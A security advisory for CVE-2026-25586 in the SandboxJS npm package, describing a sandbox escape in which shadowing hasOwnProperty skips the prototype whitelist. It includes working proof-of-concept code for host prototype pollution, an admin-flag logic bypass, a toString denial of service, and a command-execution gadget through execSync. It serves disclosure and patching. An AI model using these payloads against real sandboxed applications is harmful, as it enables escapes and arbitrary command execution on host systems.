CVE-2026-25586

Description

## Summary A sandbox escape is possible by shadowing `hasOwnProperty` on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to `__proto__` and other blocked prototype properties, enabling **host `Object.prototype` pollution** and persistent cross-sandbox impact. The issue was reproducible on Node `v23.9.0` using the project’s current build output. The bypass works with default `Sandbox` configuration and does not require custom globals or whitelists. ## Root Cause `prototypeAccess` uses `a.hasOwnProperty(b)` directly, which can be attacker‑controlled if the sandboxed object shadows `hasOwnProperty`. When this returns `true`, the whitelist checks are skipped. - [src/executor.ts:348](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L348) `const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');` <img width="1030" height="593" alt="image" src="https://github.com/user-attachments/assets/0fa0807e-81cc-45b5-be13-bd839c974a4f" /> - [src/executor.ts:367-399](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L367) prototype whitelist enforcement only happens when `prototypeAccess` is true. <img width="929" height="345" alt="image" src="https://github.com/user-attachments/assets/27cff24d-b892-4d56-9f59-1e5fd32ef471" /> - [src/executor.ts:220-233](https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L220) mutation guard uses `obj.context.hasOwnProperty(...)`, also bypassable via shadowing. <img width="769" height="332" alt="image" src="https://github.com/user-attachments/assets/52fbb962-6ff0-4607-90a8-79fc3a50c897" /> ## Proofs of Concept `node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration` `node node_modules/rollup/dist/bin/rollup -c` Runtime target: `dist/node/Sandbox.js` ### Baseline: `__proto__` blocked without bypass ```js const Sandbox = require('./dist/node/Sandbox.js').default; const sandbox = new Sandbox(); try { const res = sandbox.compile(`return ({}).__proto__`)().run(); console.log('res', res); } catch (e) { console.log('error', e && e.message); } ``` <img width="734" height="65" alt="image" src="https://github.com/user-attachments/assets/bdbbbe8b-5667-46e4-b4b5-ff4693764ef9" /> ### Prototype whitelist bypass -> host `Object.prototype` pollution ```js const Sandbox = require('./dist/node/Sandbox.js').default; const sandbox = new Sandbox(); const code = ` const o = { hasOwnProperty: () => true }; const proto = o.__proto__; proto.polluted = 'pwned'; return 'done'; `; sandbox.compile(code)().run(); console.log('polluted' in ({}), ({}).polluted); ``` <img width="549" height="95" alt="image" src="https://github.com/user-attachments/assets/83471777-ee8e-4140-b702-9a575335fd30" /> ### Logic bypass via prototype pollution ```js const Sandbox = require('./dist/node/Sandbox.js').default; const sandbox = new Sandbox(); sandbox.compile(` const o = { hasOwnProperty: () => true }; const proto = o.__proto__; proto.isAdmin = true; return 'ok'; `)().run(); console.log('isAdmin', ({}).isAdmin === true); ``` <img width="527" height="83" alt="image" src="https://github.com/user-attachments/assets/772bb111-d3e6-4f81-8142-80228e579b57" /> ### DoS by overriding `Object.prototype.toString` ```js const Sandbox = require('./dist/node/Sandbox.js').default; const sandbox = new Sandbox(); sandbox.compile(` const o = { hasOwnProperty: () => true }; const proto = o.__proto__; proto.toString = function () { throw new Error('aaaaaaa'); }; return 'ok'; `)().run(); try { String({}); } catch (e) { console.log('error', e.message); } ``` <img width="500" height="147" alt="image" src="https://github.com/user-attachments/assets/eb5bff1b-ebe7-470a-abe6-d836de85ad41" /> ### RCE via host gadget (prototype pollution -> `execSync`) <img width="737" height="143" alt="image" src="https://github.com/user-attachments/assets/952ba404-573f-4cb7-9b70-f3294ea19b40" /> ```js const Sandbox = require('./dist/node/Sandbox.js').default; const { execSync } = require('child_process'); const sandbox = new Sandbox(); sandbox.compile(` const o = { hasOwnProperty: () => true }; const proto = o.__proto__; proto.cmd = 'id; return 'ok'; `)().run(); const obj = {}; // typical innocent object const out = execSync(obj.cmd, { encoding: 'utf8' }).trim(); console.log(out); ``` ## Additional Finding : Prototype mutation via intermediate reference This does **not** require the `hasOwnProperty` bypass. Some prototypes can be reached via allowed static access (`[].constructor.prototype`) and then mutated via a local variable, which bypasses `isGlobal` checks. ### Mutate `Array.prototype.filter` without bypass ```js const Sandbox = require('./dist/node/Sandbox.js').default; const sandbox = new Sandbox(); sandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run(); console.log('host filter', [1,2].filter); ``` **Output:** ``` host filter 1 ```

Affected packages (1)

• npm/@nyariv/sandboxjsfrom 0, < 0.8.29

CVSS scores

References (4)

• ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2026-25586
• PATCHhttps://github.com/nyariv/SandboxJS
• WEBhttps://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3
• WEBhttps://github.com/nyariv/SandboxJS/security/advisories/GHSA-jjpw-65fv-8g48